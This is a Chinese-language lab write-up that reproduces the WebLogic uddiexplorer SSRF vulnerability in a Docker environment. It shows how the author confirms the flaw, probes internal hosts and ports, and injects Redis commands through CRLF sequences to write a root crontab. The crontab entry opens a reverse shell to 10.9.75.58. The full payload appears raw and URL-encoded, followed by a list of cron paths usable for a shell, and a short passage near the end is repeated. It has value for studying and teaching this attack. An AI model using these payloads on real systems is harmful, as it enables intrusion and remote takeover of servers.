Weblogic SSRF 漏洞复现
SSRF 实例
Weblogic SSRF 到GetShell
Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。
测试环境搭建
编译及启动测试环境
sudo docker compose up -d
访问http://10.9.75.58:7001/console :
访问http://your-ip:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用:
点击Search Public Registries ,并点击searh,进行抓包：
我们猜测url这里存在ssrf漏洞，我们验证一下：
首先获取一个域名，这里获得的域名为：budkzl.dnslog.cn ,然后把该域名放到抓取的url中，为了便于确认，在前面写上123. ：
查看是否能完成该DNS解析：
我们看到这里有请求，说明我们这里输入的url地址，它会替我们发送url请求，说明这里存在ssrf漏洞
我们查看一下这个响应包：
我们把url换成127.0.0.1，查看其响应：
有响应，说明127.0.0.1这个地址是存活的，然后根据报错信息得出：通过HTTP不能连接服务器的80端口，所以80端口没有开放
我们找一个现在一定开放的端口（7001端口）试一下：
状态码第一位数字决定了不同的响应状态，有如下：
1>> 开始发送请求 >>消息2>> 请求发送完成 >>成功3>> 开始读取响应 >>重定向4>> 读取响应结束 >>请求错误5表示服务器错误常见服务器状态码
200：服务器响应正常，并正确返回。
304：该目标资源在上次请求后没有任何修改（通常用于浏览器的缓存机制，使用GET请求时尤其需要注意）。
400：无法找到请求的资源，可能原因：
(1) 语义有误，当前请求无法被服务器理解。
(2) 请求参数有误。
401：要访问的目标资源的权限不够，或者说当前请求需要用户验证；
403：没有权限访问资源。
404：找不到访问的对象，或者要访问的目标资源不存在。
405：要访问的目标资源被禁止。
414：请求的URL太长。
500：服务器内部代码错误。
还是不清楚了，那我们可以对比一下7002端口（没有开放）：
现在我们就可以对本机的ip做探测，目标一般开的是docker环境。
Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入%0a%0d来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先，通过ssrf探测内网中的redis服务器（docker环境的网段一般是172.*），发现172.22.0.2:6379可以连通：
将172.22.0.2输入到url请求中：
将172.21.0.1输入到url请求中：
这时，我们已经知道了172.22.0.2这个IP地址是存活的，那么我们可以判断有哪些端口是开放的
检测3389 （远程桌面）端口：
没有开放3389端口。
检测6379（redis数据库）端口：
表示6379端口是开放的。并且没有回显
既然我们知道了redis数据库端口是开放的，我们也知道redis数据库存在未授权访问漏洞，我们可以利用其进行读写文件。
我们采用计划任务来获取反弹shell
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/10.9.75.58/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
进行url编码：
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.58%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意，换行符是“\r\n”，也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面，发送：
&operator=http://172.22.0.2:6379/gehuii%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.58%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aagehui
成功反弹shell：
补充：
最后补充一下，可进行利用的cron有如下几个地方：
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
tab 这个是肯定的- /etc/cron.d/* 将任意文件写到该目录下，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件